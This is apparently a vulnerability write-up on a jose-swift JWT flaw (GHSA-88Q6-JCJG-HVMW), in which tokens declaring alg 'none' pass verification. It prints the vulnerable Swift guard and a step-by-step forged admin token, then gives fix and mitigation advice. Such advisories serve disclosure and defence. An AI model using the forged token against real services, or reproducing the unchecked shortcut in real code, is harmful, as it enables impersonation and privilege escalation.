GHSA-88Q6-JCJG-HVMW

The 'None' Identity: How a Polite Variable Turned jose-swift into a Security Nightmare

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 11, 2026·6 min read

Executive Summary (TL;DR)

The jose-swift library for Swift has a classic 'None Algorithm' vulnerability. By setting the JWT header's 'alg' field to 'none', the library's verification function immediately returns `true` without checking any signature. This allows total identity forgery and privilege escalation without knowing any secret keys.

A critical authentication bypass in the jose-swift library allows attackers to forge JSON Web Tokens (JWTs) by simply telling the server verification isn't necessary. The library honors the 'none' algorithm in the header and explicitly skips signature verification.

The Hook: Trust Me, I'm an Admin

JSON Web Tokens (JWTs) are the duct tape of modern authentication. They hold the internet together, passing claims from client to server like digital VIP passes. The entire security model relies on one crucial assumption: the signature. Without it, a JWT is just a JSON blob that anyone can edit. If I change "user_id": 123 to "user_id": 1 (the admin), the signature should break, and the server should reject me.

But what if you could just politely ask the server not to check the signature? That is the premise of the 'None Algorithm' attack—a vulnerability so old it feels like archaeological digging, yet it keeps appearing in modern libraries.

Enter jose-swift, a comprehensive Swift implementation of the JOSE standards (JWS, JWE, JWK). It's used by iOS and server-side Swift developers to handle secure tokens. Unfortunately, until very recently, it suffered from a catastrophic logic flaw. It treated the JWT header not as a claim to be verified, but as a set of instructions to be blindly obeyed. If the token said, 'Don't worry about checking this,' the library effectively replied, 'Understood, have a nice day,' and let the attacker right through the front door.

The Flaw: A Polite Failure

To understand the gravity of this bug, we have to look at how JWT libraries usually handle verification. The process should be: receive the token, verify the signature using a trusted key (like a shared secret or a public key), and then trust the data.

The vulnerability in jose-swift is a textbook implementation of CWE-347: Improper Verification of Cryptographic Signature. The library's logic was dangerously helpful. It parsed the header first to determine which algorithm was used to sign the token. If the header specified "alg": "none", the verification function hit a specific check designed to shortcut the process.

Instead of throwing an error like InvalidAlgorithm or UnsecuredTokenNotAllowed, the library's verify function simply returned true. It validated the token because the token truthfully claimed it had no signature. Technically correct, perhaps, but security-suicide in practice. This means the verification function wasn't verifying the authenticity of the token; it was verifying whether the token complied with its own header. Since a 'none' token requires no signature to be valid according to the spec, the library considered it valid for authentication.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerability lived in Sources/JSONWebSignature/JWS+Verify.swift. As a security researcher, finding code like this produces a mix of excitement and horror.

Here is the vulnerable function logic:

public func verify<Key>(key: Key?) throws -> Bool {
    // The fatal flaw:
    guard SigningAlgorithm.none != protectedHeader.algorithm else {
        return true  // <--- The "Welcome Home" mat
    }
    
    // Actual verification logic for real algorithms (HS256, RS256) follows...
    // ...
}

Do you see it? The guard statement checks if the algorithm is none. If it is none (meaning the condition != fails), it drops into the else block (or rather, fails the guard depending on swift syntax nuance, but here the logic flow effectively shortcuts).

Wait, let's look closer at the logic provided in the report. The code explicitly checks: guard SigningAlgorithm.none != protectedHeader.algorithm. If the algorithm is none, the guard fails, and the code executes the else block (or implies a return path). In the provided context, the logic was simplified to: "If algorithm is none, return true."

This is a critical misunderstanding of the JWT RFC. While the RFC defines a 'none' algorithm for unsecured JWS, it is intended for debugging or very specific, non-security contexts. A library intended for verification should never accept none by default unless explicitly configured to allow unsecured tokens. In jose-swift, this behavior was the default. No flags, no config options—just an open door.

The Exploit: Becoming Admin

Exploiting this is trivially easy. We don't need to crack a private key, brute-force an HMAC secret, or perform a timing attack. We just need to craft a JSON file and Base64 encode it. Here is the recipe for disaster.

Step 1: The Header

We tell the server we are using the none algorithm.

{
  "alg": "none",
  "typ": "JWT"
}

Step 2: The Payload

We give ourselves whatever permissions we want. Let's be the admin.

{
  "sub": "admin_user",
  "role": "superuser",
  "iat": 1700000000
}

Step 3: The Assembly

We Base64Url-encode the header and the payload. We leave the signature section empty, but we must include the trailing dot to maintain the header.payload. structure.

Header: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 Payload: eyJzdWIiOiJhZG1pbl91c2VyIiwicm9sZSI6InN1cGVydXNlciIsImlhdCI6MTcwMDAwMDAwMH0

Final Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbl91c2VyIiwicm9sZSI6InN1cGVydXNlciIsImlhdCI6MTcwMDAwMDAwMH0.

When we send this token to an application using the vulnerable jose-swift version, the app parses the header, sees none, and the verify function returns true. The application logic then proceeds to read the sub claim ('admin_user') and grants us full control.

The Impact: Why We Panic

This is a Critical (9.8) severity issue for a reason. Authentication bypasses don't get much cleaner than this. The impact includes:

  1. Identity Theft: An attacker can impersonate any user in the system just by guessing their user ID or email.
  2. Privilege Escalation: If the application uses JWT claims for authorization (e.g., "isAdmin": true), the attacker gains immediate administrative access.
  3. Data Exfiltration: With admin access, the attacker can likely query private data, export user bases, or modify critical system configurations.
  4. Zero Prerequisites: The attacker does not need to be an authenticated user to start with. They just need to know the endpoint expects a JWT.

This vulnerability renders the entire cryptographic protection of the JWT implementation null and void. It is the security equivalent of a bank vault that opens if you whisper 'please'.

The Fix: Closing the Loophole

The remediation is straightforward: Upgrade. The maintainers have patched the issue in the latest release (versions 0.5.1 and above). The fix likely involves removing the shortcut return or explicitly throwing an error when none is encountered during verification.

Developer Takeaway

If you are writing or maintaining a JWT library, or even manually validating tokens:

  1. Never trust the header: The alg header is user input. It is untrusted until validated against an allow-list.
  2. Enforce Algorithms: When calling a verify function, explicitly pass the algorithm you expect (e.g., verify(token, key, algorithm: .HS256)). If the token header doesn't match the expected algorithm, fail immediately.
  3. Ban 'None': Unless you are writing a debugger, the none algorithm should be treated as a malicious payload by default.

If you cannot update immediately, you must implement a manual check before passing the token to the library:

// Temporary Mitigation
let header = try JWS.decodeHeader(token)
if header.algorithm == .none {
    throw AuthError.invalidAlgorithm
}
// Proceed to verify

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Swift Server-side applications (Vapor, Kitura) using jose-swiftiOS applications using jose-swift for local token validationAny system relying on jose-swift < 0.5.1 for JWT verification

Affected Versions Detail

Product
Affected Versions
Fixed Version
jose-swift
beatt83
< 0.5.10.5.1
AttributeDetail
CWE IDCWE-347
Attack VectorNetwork (API)
CVSS9.8 (Critical)
ImpactAuth Bypass / Privilege Escalation
Exploit StatusTrivial / High Likelihood
ComplexityLow
CWE-347
Improper Verification of Cryptographic Signature

The software does not correctly verify the cryptographic signature for data, allowing the data to be modified or forged.

Vulnerability Timeline

Vulnerability reported by Louis Nyffenegger
2026-01-09
GHSA-88Q6-JCJG-HVMW Published
2026-01-09

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.